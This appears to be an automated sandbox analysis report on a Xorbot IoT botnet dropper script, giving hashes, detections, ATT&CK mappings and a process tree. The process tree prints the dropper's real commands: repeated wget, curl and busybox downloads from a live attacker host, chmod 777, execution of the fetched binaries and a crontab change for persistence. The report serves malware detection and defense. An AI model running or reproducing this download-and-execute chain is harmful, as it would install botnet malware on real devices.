xorbot | 51ecef74109e898cb10f28ea084e9da7c19d0d5ce0c881d71126b872addaafc1

Analysis

max time kernel
123s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
12/12/2024, 03:32

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General

Target

bins.sh
Size

10KB
MD5

49d851609afcaa4a18dcfdaf75afdb0c
SHA1

630594c3464e68659749c3d3d51a8bfb758fe175
SHA256

51ecef74109e898cb10f28ea084e9da7c19d0d5ce0c881d71126b872addaafc1
SHA512

562a5adbb61e9a39f3bdef9ee37c7d2bec20a3b43ec73589c6a97662bc34cd2c060c3113c89303b76045534a35909f8004aca0eb519e4c287476bc7edd763e1b
SSDEEP

96:Y7L7n7wuOdagcjYrHALyKa6E8EAEcD7+g8gAgYsidMLJ5LtLJhsj/i9Sz+uvLO3I:ide59cD7ZzLBxSXSxxDlSS59cD7/Vr

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 9 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-2.dat	family_xorbot
behavioral3/files/fstream-6.dat	family_xorbot
behavioral3/files/fstream-8.dat	family_xorbot
behavioral3/files/fstream-10.dat	family_xorbot
behavioral3/files/fstream-12.dat	family_xorbot
behavioral3/files/fstream-14.dat	family_xorbot
behavioral3/files/fstream-16.dat	family_xorbot
behavioral3/files/fstream-20.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1166) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
764	chmod
855	chmod
863	chmod
871	chmod
903	chmod
736	chmod
745	chmod
879	chmod
887	chmod
895	chmod
806	chmod
824	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT	737	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
/tmp/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D	746	CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
/tmp/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw	766	LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
/tmp/ICSln54toXF8PblqnLRBfadRKrl4bDnv70	807	ICSln54toXF8PblqnLRBfadRKrl4bDnv70
/tmp/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2	826	RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
/tmp/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg	856	UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
/tmp/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC	864	A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
/tmp/ribbVqEykECj6I8K7XkZamhenylvmOXpkH	872	ribbVqEykECj6I8K7XkZamhenylvmOXpkH
/tmp/kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK	880	kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK
/tmp/PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK	888	PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK
/tmp/jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db	896	jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db
/tmp/dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE	904	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE

Renames itself 1 IoCs

pid	Process
905	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.eDtrr4	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/987/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1067/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/673/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/955/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/986/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1076/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/985/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1005/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1072/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/944/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/2/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/706/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/926/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/984/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1052/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1068/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/24/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/376/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/975/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/952/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/974/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1027/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1071/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/23/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/912/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/965/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/37/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/359/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/977/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/959/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/997/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/73/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/328/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/914/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/12/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/81/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1023/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1055/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1061/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/15/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/972/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/991/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/967/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1003/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/7/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/939/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/958/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/919/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/943/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1065/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/993/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1016/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/75/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/669/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1010/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/146/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/381/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/995/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/915/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/962/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1000/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
File opened for reading	/proc/1042/cmdline	dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE

System Network Configuration Discovery 1 TTPs 34 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
734	busybox
750	curl
830	wget
894	busybox
712	wget
744	busybox
749	wget
854	busybox
899	wget
900	curl
756	busybox
849	curl
875	wget
891	wget
740	wget
742	curl
860	curl
867	wget
868	curl
884	curl
878	busybox
883	wget
886	busybox
914	wget
810	wget
811	curl
859	wget
892	curl
902	busybox
862	busybox
870	busybox
725	curl
817	busybox
876	curl

Writes file to tmp directory 35 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db	curl
File opened for modification	/tmp/jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db	busybox
File opened for modification	/tmp/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw	wget
File opened for modification	/tmp/ICSln54toXF8PblqnLRBfadRKrl4bDnv70	curl
File opened for modification	/tmp/ribbVqEykECj6I8K7XkZamhenylvmOXpkH	wget
File opened for modification	/tmp/ribbVqEykECj6I8K7XkZamhenylvmOXpkH	curl
File opened for modification	/tmp/PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK	wget
File opened for modification	/tmp/PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK	curl
File opened for modification	/tmp/PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK	busybox
File opened for modification	/tmp/dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE	busybox
File opened for modification	/tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT	busybox
File opened for modification	/tmp/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D	busybox
File opened for modification	/tmp/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw	curl
File opened for modification	/tmp/ICSln54toXF8PblqnLRBfadRKrl4bDnv70	busybox
File opened for modification	/tmp/kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK	curl
File opened for modification	/tmp/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D	wget
File opened for modification	/tmp/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw	busybox
File opened for modification	/tmp/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC	curl
File opened for modification	/tmp/kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK	busybox
File opened for modification	/tmp/jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db	wget
File opened for modification	/tmp/ICSln54toXF8PblqnLRBfadRKrl4bDnv70	wget
File opened for modification	/tmp/ribbVqEykECj6I8K7XkZamhenylvmOXpkH	busybox
File opened for modification	/tmp/dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE	wget
File opened for modification	/tmp/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D	curl
File opened for modification	/tmp/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg	busybox
File opened for modification	/tmp/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC	busybox
File opened for modification	/tmp/dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE	curl
File opened for modification	/tmp/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC	wget
File opened for modification	/tmp/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2	wget
File opened for modification	/tmp/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2	busybox
File opened for modification	/tmp/kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK	wget
File opened for modification	/tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT	curl
File opened for modification	/tmp/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2	curl
File opened for modification	/tmp/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg	wget
File opened for modification	/tmp/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:710
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  - System Network Configuration Discovery
  PID:712
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  ./WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  PID:739
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
  ./CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
  2⤵
  PID:748
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod 777 LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
  ./LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
  2⤵
  - Executes dropped EXE
  PID:766
- /bin/rm
  rm LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
  2⤵
  PID:769
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
  2⤵
  - Writes file to tmp directory
  PID:770
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
  2⤵
  - Writes file to tmp directory
  PID:778
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
  2⤵
  - Writes file to tmp directory
  PID:798
- /bin/chmod
  chmod 777 ICSln54toXF8PblqnLRBfadRKrl4bDnv70
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
  ./ICSln54toXF8PblqnLRBfadRKrl4bDnv70
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm ICSln54toXF8PblqnLRBfadRKrl4bDnv70
  2⤵
  PID:809
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:810
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod 777 RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
  ./RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
  2⤵
  PID:829
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:854
- /bin/chmod
  chmod 777 UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
  ./UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
  2⤵
  PID:858
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:859
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:862
- /bin/chmod
  chmod 777 A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
  ./A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
  2⤵
  PID:866
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ribbVqEykECj6I8K7XkZamhenylvmOXpkH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ribbVqEykECj6I8K7XkZamhenylvmOXpkH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ribbVqEykECj6I8K7XkZamhenylvmOXpkH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:870
- /bin/chmod
  chmod 777 ribbVqEykECj6I8K7XkZamhenylvmOXpkH
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/ribbVqEykECj6I8K7XkZamhenylvmOXpkH
  ./ribbVqEykECj6I8K7XkZamhenylvmOXpkH
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm ribbVqEykECj6I8K7XkZamhenylvmOXpkH
  2⤵
  PID:874
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:875
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:878
- /bin/chmod
  chmod 777 kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK
  ./kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm kNI8mwWiERUDD3OkhMaHguYCUy0HT8TFpK
  2⤵
  PID:882
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:883
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:886
- /bin/chmod
  chmod 777 PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK
  ./PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm PiybeHw3FsA6f0h6nfo56RR7EmOW4LU0kK
  2⤵
  PID:890
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:891
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:894
- /bin/chmod
  chmod 777 jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db
  ./jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm jdZhdHeTfNI5Y5vONBmlv0VJ01d31NT9db
  2⤵
  PID:898
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:899
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:902
- /bin/chmod
  chmod 777 dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
  ./dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:904
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:906
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:907
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:908
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:909
- /bin/rm
  rm dxtRNRiyRXK8PfTMjW1ACYyEYGS8FjC7PE
  2⤵
  PID:911
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2MhUDBVc2HhrMfLVMMidTyWKl6c5cGpw9D
  2⤵
  - System Network Configuration Discovery
  PID:914

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

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/tmp/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D

